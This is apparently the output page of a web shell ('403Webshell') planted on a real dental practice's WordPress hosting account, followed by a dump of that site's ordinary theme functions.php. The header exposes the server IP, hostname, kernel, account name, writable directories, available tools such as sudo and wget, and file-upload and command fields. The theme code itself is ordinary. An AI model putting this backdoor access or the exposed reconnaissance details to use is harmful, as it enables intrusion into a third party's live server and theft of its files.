403Webshell
Server IP : 162.215.171.210  /  Your IP : 216.73.216.122
Web Server : Apache
System : Linux 162-215-171-210.bluehost.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : swansondentalgro ( 1070)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/swansondentalgro/public_html/wp-content/themes/swanson/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/swansondentalgro/public_html/wp-content/themes/swanson/functions.php
<?php


use Carbon_Fields\Container;

use Carbon_Fields\Block;
use Carbon_Fields\Field;

add_action( 'carbon_fields_register_fields', 'crb_attach_theme_options' );
function crb_attach_theme_options() {
	
	
	Container::make( 'theme_options', __( 'Theme Options' ) )
	->add_fields( array(
		Field::make( 'rich_text', 'service_assurance', 'Service Assurance' ),
Field::make( 'rich_text', 'call_popup', 'Call Popup' ),

	) );
	Block::make( __( 'Hero' ) )
	->add_fields( array(
		Field::make( 'image', 'background', __( 'Background' ) ),
		Field::make( 'complex', 'backgrounds', __( 'Extra Backgrounds' ) )
			->add_fields( array(
				Field::make( 'image', 'image', __( 'Image' ) ),
			) ),
		Field::make( 'rich_text', 'text', 'Text' ),
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks ) {
		?>
		<div class="hero" style="background-image:url(<?= wp_get_attachment_url($fields['background']) ?>)">
			<div class="fade-transition" id="fade2"></div>
			<div class="overlay"></div>
			<div class="mobile">
				<div class="mimg" style="background-image:url(<?= wp_get_attachment_url($fields['background']) ?>)"></div>
			</div>
			<div class="container">
				<div class="heropar">
					<div class="row">
						<div class="text col-md-6 ">
							<?= $fields['text'] ?>
						</div>
					</div>
				</div>
			</div>
		</div>
		<?php if ($fields['backgrounds'] != "") { ?>
			<script>
				jQuery(document).ready(function() {
					const images = [
						<?php foreach ($fields['backgrounds'] as $row) : ?>
							'<?= wp_get_attachment_url($row['image']) ?>',
						<?php endforeach; ?>
					];
					let currentImageIndex = 0;
					function changeBackgroundImage() {
						currentImageIndex = (currentImageIndex + 1) % images.length;
						const nextImageIndex = (currentImageIndex + 1) % images.length;
						jQuery('#fade1').css('background-image', `url(${images[currentImageIndex]})`);
						jQuery('#fade2').css('background-image', `url(${images[nextImageIndex]})`);
						jQuery('#fade1').toggleClass('visiblebg');
						jQuery('#fade2').toggleClass('visiblebg');
					}
					setInterval(changeBackgroundImage, 12000); // Change image every ___ seconds
				});
			</script>
		<?php } ?>
	<?php } );
	
	
	
	
	Block::make( __( 'Home Appointments' ) )
	->add_fields( array(
	
	
				Field::make( 'image', 'image', __( 'Image' ) ),
	
		Field::make( 'rich_text', 'text', 'Text' ),
	
	
	
	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="homeappointments"  >

	
	<div class="container">
		
		<div class="row">
			<div class="image col-md-4">
				<div class="imagepar" style="background-image:url('<?=wp_get_attachment_url($fields['image'])?>')">
				<img src="<?=wp_get_attachment_url($fields['image'])?>"></div>
			</div>
	
		   <div class="form col-md-8 ">
			  <?=$fields['text']?>
			<?php echo do_shortcode('[contact-form-7 id="36cee10" title="Schedule an Appointment"]'); ?>
		   </div>
		   
		  
			
		</div>
	</div>
	</div>
		<?php	} );
		
		
		
		
		
		Block::make( __( 'Contact Top' ) )
		->add_fields( array(
		
		
		
			Field::make( 'rich_text', 'text', 'Text' ),
		
		
		
		
		) )
		->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
		->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
		?><div class="contacttop"  >
		
		
		<div class="container">
			
			<div class="row">
				<div class="text col-md-5">
					<?=$fields['text']?>
				</div>
		
			   <div class="form col-md-6  ">
				 
				<?php echo do_shortcode('[contact-form-7 id="3d9c2c5" title="Schedule an Appointment"]'); ?>
			   </div>
			   
			  
				
			</div>
		</div>
		</div>
			<?php	} );
	
	
	
	
	
	Block::make( __( 'Patient Center Top' ) )
	->add_fields( array(
	
	
	Field::make( 'rich_text', 'form_text', 'Form Text' ),

		Field::make( 'rich_text', 'text', 'Text' ),
	
	
	
	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="patientcentertop"  >
	
	
	<div class="container">
		
		<div class="row">
			<div class="form col-md-6  ">
				 <?=$fields['form_text']?>
				<?php echo do_shortcode('[contact-form-7 id="36cee10" title="Schedule an Appointment"]'); ?>
			   </div>
			<div class="text col-md-5 offset-md-1">
				<?=$fields['text']?>
			</div>
	
		  
		   
		  
			
		</div>
	</div>
	</div>
		<?php	} );
		
		
		Block::make( __( 'Insurance' ) )
			->add_fields( array(
				Field::make( 'image', 'image', __( 'Image' ) ),

		Field::make( 'rich_text', 'text', 'Text' )
		
		
		
			
			) )
			->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
			->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
		?><div class="insurance" data-aos="fade-up">
		
			<div class="container">
				
		
				<div class="row">
					<div class="image col-md-5">
					<div class="imgpar"><img src="<?=wp_get_attachment_url($fields['image'])?>"></div>
					</div>
				<div class="col-md-7 text">
					<?=$fields['text' ];?>
					</div>
				
				</div>
			</div>
		  </div>
				<?php	} );
				
				
				
				
				
				
				Block::make( __( 'Our Team' ) )
					->add_fields( array(
						Field::make( 'image', 'image', __( 'Image' ) ),
				
				Field::make( 'rich_text', 'text', 'Text' )
				
				
				
					
					) )
					->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
					->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
				?><div class="ourteam" data-aos="fade-up">
				
					<div class="container">
						
				
						<div class="row">
							<div class="image col-md-6">
							<div class="imgpar"><img src="<?=wp_get_attachment_url($fields['image'])?>"></div>
							</div>
						<div class="col-md-5 offset-md-1 text">
							<div class="bgfix">
							<?=$fields['text' ];?>
							</div>
							</div>
						
						</div>
					</div>
				  </div>
						<?php	} );
						
						
						
						Block::make( __( 'Dr Swanson' ) )
							->add_fields( array(
								Field::make( 'image', 'image', __( 'Image' ) ),
						
						Field::make( 'rich_text', 'text', 'Text' )
						
						
						
							
							) )
							->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
							->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
						?><div class="drswanson" data-aos="fade-up">
						
							<div class="container">
								
						
								<div class="row">
									<div class="image col-md-4">
									<div class="imgpar"><img src="<?=wp_get_attachment_url($fields['image'])?>"></div>
									</div>
								<div class="col-md-8 text">
									
									<?=$fields['text' ];?>
									</div>
								
								</div>
							</div>
						  </div>
								<?php	} );
								
								
								
								
	Block::make( __( 'Blue Banner' ) )
		->add_fields( array(
	
	Field::make( 'rich_text', 'text', 'Text' ),
	Field::make( 'image', 'image', __( 'Image' ) ),

	
	
	
		
		) )
		->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
		->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="bluebanner" data-aos="fade-up">
	
		<div class="container">
			
	<div class="bbconstrain">
			<div class="row">
				<div class="col-md-7  text">
				<div class="bgfix">
				<?=$fields['text' ];?>
				</div>
				</div>
				<div class="image col-md-5 "><div class="imagepar" style="background-image:url(<?=wp_get_attachment_url($fields['image'])?>)">
				<img src="<?=wp_get_attachment_url($fields['image'])?>"></div>
				</div>
			
			</div>
			</div>
		</div>
	  </div>
			<?php	} );							
								
						
						
						
						
	Block::make( __( 'Services Overview' ) )
		->add_fields( array(
			Field::make( 'radio', 'service_category', 'Service Category' )
			->add_options( array(
				'preventative_care' => 'Preventative Care',
				'restorative_treatments' => 'Restorative Treatments',
				'cosmetic_dentistry' => 'Cosmetic Dentistry',
				'specialty_services' => 'Specialty Services',

			) ),
			Field::make( 'image', 'image', __( 'Image' ) ),
	
	Field::make( 'rich_text', 'text', 'Text' ),
	
	Field::make( 'rich_text', 'grid_intro', 'Grid Intro' )

	
		
		) )
		->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
		->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?>
	<div class="servicessubnav">
		<div class="container">
			<div class="row">
				<div class="col-12">
					<a href="<?=site_url()?>/services/preventative-care/" class="<?php if($fields['service_category' ]=='preventative_care'){?>curcat<?php } ?>">Preventative Care</a>
					<a href="<?=site_url()?>/services/restorative-treatments/" class="<?php if($fields['service_category' ]=='restorative_treatments'){?>curcat<?php } ?>">Restorative Treatments</a>
					<a href="<?=site_url()?>/services/cosmetic-dentistry/" class="<?php if($fields['service_category' ]=='cosmetic_dentistry'){?>curcat<?php } ?>">Cosmetic Dentistry</a>
					<a href="<?=site_url()?>/services/specialty-services/" class="<?php if($fields['service_category' ]=='specialty_services'){?>curcat<?php } ?>">Specialty Services</a>
				</div>
			</div>
		</div>
		
	</div>
	<div class="servicesoverview" >

		<div class="container">
			
	
			<div class="row">
				<div class="col-md-5  text">
				<div class="bgfix">
				<?=$fields['text' ];?>
				</div>
				</div>
				<div class="image col-md-6 offset-md-1">
				<div class="imgpar"><img src="<?=wp_get_attachment_url($fields['image'])?>"></div>
				</div>
			
			
			</div>
		</div>
	  </div>
	  
	  <div class="servicegrid">
		  <div class="container">
			  <div class="row">				  <div class="col-12 servicegridtop"><?=$fields['grid_intro' ];?></div>
			  </div>
			  <div class="row justify-content-center">
				  <?php
			
				   
				   
				   if($fields['service_category' ]=='preventative_care'){
					   $params = array(
							 'limit' => -1,
							 'where'=>"category.name = 'Preventative Care'"
					   
						  );
				   }
				   if($fields['service_category' ]=='restorative_treatments'){
						  $params = array(
								'limit' => -1,
								'where'=>"category.name = 'Restorative Treatments'"
						  
							 );
					  }
					  if($fields['service_category' ]=='cosmetic_dentistry'){
							 $params = array(
								   'limit' => -1,
								   'where'=>"category.name = 'Cosmetic Dentistry'"
							 
								);
						 }
						 if($fields['service_category' ]=='specialty_services'){
								$params = array(
									  'limit' => -1,
									  'where'=>"category.name = 'Specialty Services'"
								
								   );
							}
				  //search in articles pod
				  $pods = pods( 'service', $params );
				  
				  $total = $pods->total();
				  $count = 1; // This variable will keep track of the current count within a group
				 
				  
				  
				  //loop through results
				  if ( 0 < $pods->total() ) {
					  while ( $pods->fetch() ) {
					  ?><div class="col-md-4 servbox">
						  <a href="<?=get_the_permalink($pods->display( 'ID' ))?>"><div class="thumb" style="background-image:url(<?=get_the_post_thumbnail_url($pods->display( 'ID' ))?>)"></div></a>
					  <a href="<?=get_the_permalink($pods->display( 'ID' ))?>"><h2><?=get_the_title($pods->display( 'ID' ))?></h2>
				  <p><?=$pods->display( 'summary' )?></p>
				  </a>
					  </div>
					  <?php 
				  }}
				  ?>
			  </div>
		  </div>
	  </div>
	  
			<?php	} );					
						
							
							
	
	
	Block::make( __( 'Service Body' ) )
		->add_fields( array(
	
	Field::make( 'rich_text', 'text', 'Text' ),
	Field::make( 'complex', 'gallery', __( 'Gallery' ) )
	->add_fields( array(
				Field::make( 'image', 'image', __( 'Image' ) )
	
	) )
	
	
		
		) )
		->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
		->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="servicebody" data-aos="fade-up">
	
		<div class="container">
			
	
			<div class="row">
				
			<div class="col-md-8 text">
			
			<?=$fields['text' ];?>
			
			</div>	
				
				<div class="images col-md-4">
				<?php
				foreach ($fields['gallery' ] as $row) {
						 ?><img src="<?=wp_get_attachment_url($row['image'])?>"><?php
					  }
				 ?>
				</div>
			
			
			</div>
		</div>
	  </div>
	  
	  
	  <div class="servicegrid otherservices">
			<div class="container">
				<div class="row">
					<div class="col-12 otherservicestitle"><h2>Other <?=get_the_category(get_the_ID())[0]->name?></h2></div>
					<?php
					 
					 
					 if(get_the_category(get_the_ID())[0]->category_nicename=='preventative-care'){
						 $params = array(
							   'limit' => -1,
							   'where'=>"category.name = 'Preventative Care'"
						 
							);
					 }
					 if(get_the_category(get_the_ID())[0]->category_nicename=='restorative-treatments'){
							$params = array(
								  'limit' => -1,
								  'where'=>"category.name = 'Restorative Treatments'"
							
							   );
						}
						if(get_the_category(get_the_ID())[0]->category_nicename=='cosmetic-dentistry'){
							   $params = array(
									 'limit' => -1,
									 'where'=>"category.name = 'Cosmetic Dentistry'"
							   
								  );
						   }
						   if(get_the_category(get_the_ID())[0]->category_nicename=='specialty-services'){
								  $params = array(
										'limit' => -1,
										'where'=>"category.name = 'Specialty Services'"
								  
									 );
							  }
					//search in articles pod
					$pods = pods( 'service', $params );
					
					$total = $pods->total();
					$count = 1; // This variable will keep track of the current count within a group
				   
					
					
					//loop through results
					if ( 0 < $pods->total() ) {
						while ( $pods->fetch() ) {
						?><div class="col-md-4 servbox">
							<a href="<?=get_the_permalink($pods->display( 'ID' ))?>"><div class="thumb" style="background-image:url(<?=get_the_post_thumbnail_url($pods->display( 'ID' ))?>)"></div></a>
						<a href="<?=get_the_permalink($pods->display( 'ID' ))?>"><h2><?=$pods->display( 'title' )?></h2></a>
						</div>
						<?php 
					}}
					?>
				</div>
			</div>
		</div>
			<?php	} );							
								
								
								
								
								
	Block::make( __( 'Ask Us Banner' ) )
	->add_fields( array(
	
	
				Field::make( 'image', 'background', __( 'Background' ) ),
	
		Field::make( 'rich_text', 'text', 'Text' ),
	
	
	
	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="askusbanner"  style="background-image:url(<?=wp_get_attachment_url($fields['background'])?>)" >
		<div class="overlay"></div>
	<div class="mobile">
		<div class="mimg" style="background-image:url(<?=wp_get_attachment_url($fields['background'])?>)" ></div>
	</div>
	
	<div class="container">
		
		<div class="row">
	
		   <div class="text col-md-8 offset-md-2 ">
			  <?=$fields['text']?>
			
		   </div>
		   
		  
			
		</div>
	</div>
	</div>
		<?php	} );
	
	
	
	
	
	
	Block::make( __( 'Wide Text' ) )
	->add_fields( array(
		
Field::make( 'rich_text', 'text', 'Text' )



	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?><div class="widetext" data-aos="fade-up">

	<div class="container">
		

		<div class="row">
		<div class="col-12">
			<?=$fields['text' ];?>
			</div>
		
		</div>
	</div>
  </div>
		<?php	} );
	
	
	 Block::make( __( 'Highlight' ) )
->add_fields( array(
	Field::make( 'text', 'block_id', 'Block ID' ),

Field::make( 'checkbox', 'small_image', 'Small Image' )
->set_option_value( 'yes' ),
Field::make( 'checkbox', 'blue_background', 'Blue Background' )
->set_option_value( 'yes' ),
Field::make( 'checkbox', 'blue_headlines', 'Blue Headlines' )
->set_option_value( 'yes' ),
Field::make( 'radio', 'alignment', 'Alignment' )
->add_options( array(
'left' => 'Text on Left',
'Right' => 'Text on Right'
) ),
			Field::make( 'image', 'image', __( 'Image' ) ),

	Field::make( 'rich_text', 'text', 'Text' ),
Field::make( 'text', 'button_label', 'Button Label' ),
Field::make( 'text', 'button_url', 'Button URL' )




) )
->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?><div class="highlight <?php if($fields['blue_background']=="yes"){?>blue<?php }?> <?php if($fields['blue_headlines']=="yes"){?>bluehead<?php }?> <?php if($fields['small_image']=="yes"){?>small<?php }?> align<?=$fields['alignment']?>" id="<?=$fields['block_id']?>" >

<div class="container">
	
<div class="hlpar">
	<div class="row">
	<div class="image col-lg-6 offset-lg-1 mobile">
		 <div class="mimg" style="background-image:url(<?=wp_get_attachment_url($fields['image'])?>)"></div>
	  </div>
<?php if($fields['alignment']=="left"||$fields['alignment']==""){?>
	   <div class="text <?php if($fields['blue_background']=="yes"){?>offset-md-0 col-md-7 offset-lg-1 col-lg-5<?php } else if (get_the_ID()==18){?>col-md-5 col-lg-5<?php } else {?>col-md-12 col-lg-5<?php }?>">
		  <?=$fields['text']?>
		  <?php if($fields['button_url']!=""){?>
		  <a href="<?=$fields['button_url']?>" <?php if($fields['button_url']=="https://helloclover.com/"){?>target="_blank"<?php } ?> class="button"><?=$fields['button_label']?></a>
		  <?php }?><?php if($fields['addition_button_url']!=""){?>
			<a href="<?=$fields['addition_button_url']?>" class="button"><?=$fields['additional_button_label']?></a>
			<?php }?>
	   </div>
	   <div class="image <?php if($fields['small_image']=="yes"){?>col-md-5 col-lg-5<?php } else {?>col-md-12 col-lg-6 offset-lg-1<?php }?> <?php if($fields['blue_background']=="yes"||get_the_ID()==18){?>offset-lg-1 offset-lg-1<?php }?> desk" style="background-image:url(<?=wp_get_attachment_url($fields['image'])?>)">
			
		  </div>
	   <?
   } 
   else
   {
	   ?><div class="image <?php if($fields['small_image']=="yes"){?>col-md-5 col-lg-5<?php } else {?>col-md-6  col-lg-6<?php }?> desk" style="background-image:url(<?=wp_get_attachment_url($fields['image'])?>)">
		</div><div class="text <?php if($fields['small_image']=="yes"){?>col-md-7 col-lg-6<?php } else {?>col-md-12 col-lg-5<?php }?> offset-lg-1">
			 <?=$fields['text']?>
			 <?php if($fields['button_url']!=""){?>
			   <a href="<?=$fields['button_url']?>" class="button"><?=$fields['button_label']?></a>
			   <?php }?>
		  </div>
		  
	   <?php
   }
   ?>
		
	</div>
	</div>
</div>
</div>
	<?php	} );
	
	
	
	
	
		 Block::make( __( 'Service Hero' ) )
	->add_fields( array(
				Field::make( 'image', 'background', __( 'Background' ) ),
		Field::make( 'rich_text', 'text', 'Text' ),	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="servicehero"  style="background-image:url(<?=wp_get_attachment_url($fields['background'])?>)" >
		<div class="overlay"></div>
	<div class="mobile">
		<div class="mimg" style="background-image:url(<?=wp_get_attachment_url($fields['background'])?>)" ></div>
	</div>
	<div class="container">
	<div class="heropar">
		<div class="row">
	
		   <div class="text col-md-9 ">
			   <div class="serviceback"><a href="<?=site_url()."/services/".get_the_category(get_the_ID())[0]->category_nicename?>/"><img src="<?=get_template_directory_uri()?>/images/serviceback.svg"></a><a href="<?=site_url()."/services/".get_the_category(get_the_ID())[0]->category_nicename?>/"><span>Back to <?=get_the_category(get_the_ID())[0]->name?></span></a></div>
			  <?=$fields['text']?>
			
		   </div>
		   
		  
			
		</div>
		</div>
	</div>
	</div>
		<?php	} );
	
	
	
	
	Block::make( __( 'Cost' ) )
	->add_fields( array(
		Field::make( 'image', 'background', __( 'Background' ) ),
Field::make( 'image', 'mobile_background', __( 'Mobile Background' ) ),

Field::make( 'rich_text', 'left', 'Left' ),
Field::make( 'rich_text', 'right', 'Right' ),
Field::make( 'text', 'button_label', 'Button Label' ),
Field::make( 'text', 'button_url', 'Button URL' )



	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?><div class="cost" style="background-image:url(<?=wp_get_attachment_url($fields['background'])?>)">
<div class="costbg mobile" style="background-image:url(<?=wp_get_attachment_url($fields['mobile_background'])?>)"></div>
	<div class="container">
		

		<div class="row">
		<div class="col-md-3 left">
			<?=$fields['left' ];?>
			</div>
		<div class="col-md-8 offset-md-1 right">
			<?=$fields['right' ];?>
			<?php if($fields['button_url']!=""){?>
			   <a href="<?=$fields['button_url']?>" class="button"><?=$fields['button_label']?></a>
			   <?php }?>
			</div>
		</div>
	</div>
  </div>
		<?php	} );
	
	
	
	Block::make( __( 'Reviews' ) )
	->add_fields( array(
		
Field::make( 'image', 'background', __( 'Background' ) ),

Field::make( 'complex', 'reviews', __( 'Reviews' ) )
->add_fields( array(
Field::make( 'rich_text', 'text', __( 'Text' ) ),
Field::make( 'text', 'source', __( 'Source' ) )

) )

	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?><div class="reviews" style="background-image:url(<?=wp_get_attachment_url($fields['background'])?>)">
<div class="overlay"></div>
	<div class="container">
		

		<div class="row">
		<div class="col-md-10 offset-md-1 col-lg-8 offset-lg-2 text">
			<div class="slider">
			<?php
			foreach ($fields['reviews' ] as $row) {
					 ?><div class="review"><?=$row['text']?><div class="source"><?=$row['source']?></div></div><?php
				  }
			 ?></div>
			</div>
		
		</div>
	</div>
  </div>
		<?php	} );
	
	
	
	
	Block::make( __( 'Awards' ) )
	->add_fields( array(
	
	
	
				Field::make( 'image', 'background', __( 'Background' ) ),
	
		Field::make( 'rich_text', 'text', 'Text' ),
	
	
	
	
	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="awards" >
	
	<div class="container">
		
	<div class="heropar">
		<div class="row">
	
		   <div class="text col-md-9">
			  <?=$fields['text']?>
			  
		   </div>
		   <div class="image col-md-3">
				 <img src="<?=wp_get_attachment_url($fields['background'])?>">
				 
			  </div>
		  
			
		</div>
		</div>
	</div>
	</div>
		<?php	} );
	
	
	
	
	
	
	Block::make( __( 'Contact Info and Form' ) )
	->add_fields( array(
	
	
		Field::make( 'rich_text', 'text', 'Text' ),

	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="contactif" data-aos="fade-up">
	
	<div class="container">
		
<div class="row">
	<div class="col-lg-4 offset-lg-1 text">
		<?=$fields['text']?>
	</div>
	<div class="col-lg-5 offset-lg-1 form"><?=do_shortcode('[contact-form-7 id="8" title="Contact"]')?>
	</div>
</div>
	</div>
	</div>
		<?php	} );
		
		
		
		
		
		Block::make( __( 'Retainers Form' ) )
			->add_fields( array(
			
			
				Field::make( 'rich_text', 'text', 'Text' ),
		
			) )
			->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
			->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
			?><div class="retainers" data-aos="fade-up">
			<div id="orderretainers"></div>
			<div class="container">
				
		<div class="row">
			
			<div class="col-lg-8 offset-lg-2 form"><h2 class="sectitle">Get Retainer Insurance</h2><?=do_shortcode('[contact-form-7 id="10493" title="Contact"]')?><input type="hidden" id="whentoprint" value="now">
			<script>
				jQuery(function() {
				
					const modal = document.querySelector(".modal");
					const trigger = document.querySelector(".trigger");
					const closeButton = document.querySelector(".close-button");
					
					function toggleModal() {
						modal.classList.toggle("show-modal");
				
					}
					
					function windowOnClick(event) {
						if (event.target === modal) {
							toggleModal();
						}
					}
					
					closeButton.addEventListener("click", toggleModal);
					window.addEventListener("click", windowOnClick);
					
					
					// Show the popup and overlay when the user tries to leave the page
					
					
					
				
					jQuery('input[type=radio][name=print]').change(function() {
										if (this.value == "Yes (Awesome, we'll reach out to you shortly to schedule pickup or delivery!)") {
											jQuery('#whentoprint').val("now");
										}
										else if (this.value == "No (Great, feel free to contact us at any time to order your new retainers!)") {
											jQuery('#whentoprint').val("later");
										}
										
										
									});	
									
									document.addEventListener( 'wpcf7mailsent', function( event ) {
									toggleModal();
									if(jQuery('#whentoprint').val()=='now'){
										jQuery('#confirmationtext').html("Thank you for signing up for Retainer Insurance!<br>We’ll reach out shortly to make arrangements.");

									} else{
										jQuery('#confirmationtext').html("Thank you for signing up for Retainer Insurance!<br>We look forward to hearing from you soon!");
									
									}
														}, false );
				})
				
			</script>
			</div>
		</div>
			</div>
			</div>
			
			
			
			<div class="modal">
							<div class="modal-content">
								<span class="close-button">&times;</span>
								<div class="modalcol leftcol">
								<h2>Order Confirmation</h2>
								<p id="confirmationtext"></p>
								
								</div>
							</div>
						</div>
						<style>
							.retainers .wpcf7 form.sent .wpcf7-response-output{display: none !important}
							#mc_embed_signup form{margin:20px 0 0}
							.modal {
								position: fixed;
								left: 0;
								top: 0;
								width: 100%;
								height: 100%;
								background-color: rgba(0, 0, 0, 0.5);
								opacity: 0;
								visibility: hidden;
								transform: scale(1.1);
								transition: visibility 0s linear 0.25s, opacity 0.25s 0s, transform 0.25s;
							}
							
							.modal-content {
								position: absolute;
								top: 50%;
								left: 50%;
								transform: translate(-50%, -50%);
								background-color: transparent;
								padding: 0px;
								width: 600px;
								border-radius: 8px;
								display: table;
								box-sizing: border-box;
								border:none !important
							}
							.modalcol{display: inline-block;width:100%;vertical-align: top;padding: 60px 30px;text-align: center}
							.modalcol.leftcol{background: #009FD0;color:white;border-radius: 8px}
							.modalcol.leftcol h2{color:white;}
							.modalline{display: inline-block;height:100%;width:1px;background:#e4e4e4;vertical-align: middle;position: absolute;top: 50%;
								left: 50%;
								transform: translate(-50%, -50%);text-align: center}
								#mc_embed_signup .mc-field-group{width:100%}
								.modal .button,#mc_embed_signup .button{margin: auto;display: table;background: #A7977E;border:2px solid #A7977E;border-radius: 5px;padding:12px 15px;font-size: 16px;font-weight: 700;line-height: 16px;
									height: auto;width:100%}
									.newsletterform .button{color:white}
									.modalcol.leftcol #mc_embed_signup .button{background:transparent;border-color:white;}
									#mc_embed_signup #mc-embedded-subscribe-form div.mce_inline_error{text-align: center}
									#mc_embed_signup #mc-embedded-subscribe-form div.mce_inline_error{color:white !important;background:none !important}
									.modalcol.leftcol #mc_embed_signup #mce-success-response{color:white;font-weight: 500;font-size: 14px;text-align: center;margin:2px 0 14px;width:100%;padding:0px}
									.modalcol.leftcol #mc_embed_signup div#mce-responses{padding: 0px;margin: 0px;width:100%}
									.modalcol ::placeholder { /* Chrome, Firefox, Opera, Safari 10.1+ */
									  color: #747474;
									  opacity: 1; /* Firefox */
									  font-size:16px;
									}
									
									.modalcol :-ms-input-placeholder { /* Internet Explorer 10-11 */
									  color: #747474;
									  font-size:16px;
			
									}
									
									.modalcol ::-ms-input-placeholder { /* Microsoft Edge */
									  color: #747474;
									  font-size:16px;
			
									}
							.close-button {
							float: right;
							width: 1.5rem;
							text-align: center;
							cursor: pointer;
							border-radius: 90px;
							background-color: transparent;
							width:30px;
							height:30px;
							border:2px solid white;
							color:white;
							position: absolute;
							top: 16px;
							right: 24px;
							line-height: 24px
							}
							
							.close-button:hover {
								background-color: white;
								color:#009FD0
							}
							
							.show-modal {
								opacity: 1;
								visibility: visible;
								display: block;
								transform: scale(1.0);
								transition: visibility 0s linear 0s, opacity 0.25s 0s, transform 0.25s;
							}
							
							@media  (max-width: 768px) {
								.modalcol{width:100%;	padding: 40px 30px;}
								.modalline{display: none}
								.modal-content{width:90%;}
								
								.modalcol h2 {
									font-size: 20px !important;
									margin-bottom: 10px !important;
								}
								.modalcol p{font-size: 15px !important;line-height: 22px !important;margin-top: 10px !important}
								.modal #mc_embed_signup .mc-field-group input{height: auto;padding:5px 0 !important;font-size: 16px}
								.close-button{right:15px;top:15px}
								
								.modalcol.rightcol .button{font-size: 12px}
							}
						</style>
						
				<?php	} );
		
		
		
		
		Block::make( __( 'Icons and Text' ) )
		->add_fields( array(
			
	Field::make( 'text', 'header', 'Header' ),
		Field::make( 'complex', 'features', __( 'Features' ) )
		->add_fields( array(
					Field::make( 'image', 'icon', __( 'Icon' ) ),
		Field::make( 'rich_text', 'text', __( 'Text' ) )
		
		) )
	
	
		
		) )
		->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
		->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
	?><div class="icongrid " data-aos="fade-up">
	
		<div class="container">
			
	
			<div class="row">
			<div class="col-12"><h2><?=$fields['header' ];?></h2>
			<div class="images"><div class="row">
	<?php
	$igi=1;
	foreach ($fields['features' ] as $row) {
			 ?><div class="igitem igitem<?=$igi?> col-md-3"><div class="icon"><img src="<?=wp_get_attachment_url($row['icon'])?>"></div><div class="text"><?=$row['text']?></div></div><?php
			 $igi++;
		  }
	 ?></div></div>
			</div>
					   
			</div>
		</div>
	  </div>
			<?php	} );
	
	
	
	Block::make( __( 'Office Tour' ) )
	->add_fields( array(

Field::make( 'rich_text', 'text', 'Text' ),
Field::make( 'media_gallery', 'crb_media_gallery', __( 'Media Gallery' ) )




	
	) )
	->set_description( __( 'A simple block consisting of text and a contact CTA.' ) )
	->set_render_callback( function ( $fields, $attributes, $inner_blocks) {
?><div class="officetour">

	<div class="container">
		

		<div class="row">
		<div class="col-md-10 offset-md-1 col-lg-8 offset-lg-2 text">
			<?=$fields['text' ];?>
			</div>
		<div class="col-12 gallery">
<div id="myMosaic">				
			<?php
			foreach ($fields['crb_media_gallery' ] as $row) {
					 ?><a href="<?=wp_get_attachment_url($row)?>"><img src="<?=wp_get_attachment_url($row)?>" ></a><?php
				  }
			 ?>				  

			</div>


<?php /*
<div class="my-gallery" itemscope itemtype="http://schema.org/ImageGallery">
<?php
foreach ($fields['crb_media_gallery' ] as $row) {
		 ?><figure itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
			 <a href="<?=wp_get_attachment_url($row)?>" itemprop="contentUrl" data-size="600x400">
				 <img src="<?=wp_get_attachment_url($row)?>" itemprop="thumbnail" alt="Image description" />
			 </a>
			 <figcaption itemprop="caption description">Image caption</figcaption>
		 </figure><?php
	  }
 ?>		
	


</div>		
*/?>




			
			
			</div>
		</div>
	</div>
  </div>
		<?php	} );
		
		
		
		Block::make(__('Hello Section'))
		->add_fields(array(
			Field::make('text', 'heading', __('Heading')),
			Field::make('text', 'subheading', __('Subheading')),
			Field::make('image', 'image', __('Image')),
			Field::make('rich_text', 'description', __('Description')),
			Field::make('text', 'cta_label', __('CTA Button Label')),
			Field::make('text', 'cta_price', __('CTA Price')),
			Field::make('text', 'cta_url', __('CTA URL'))
		))
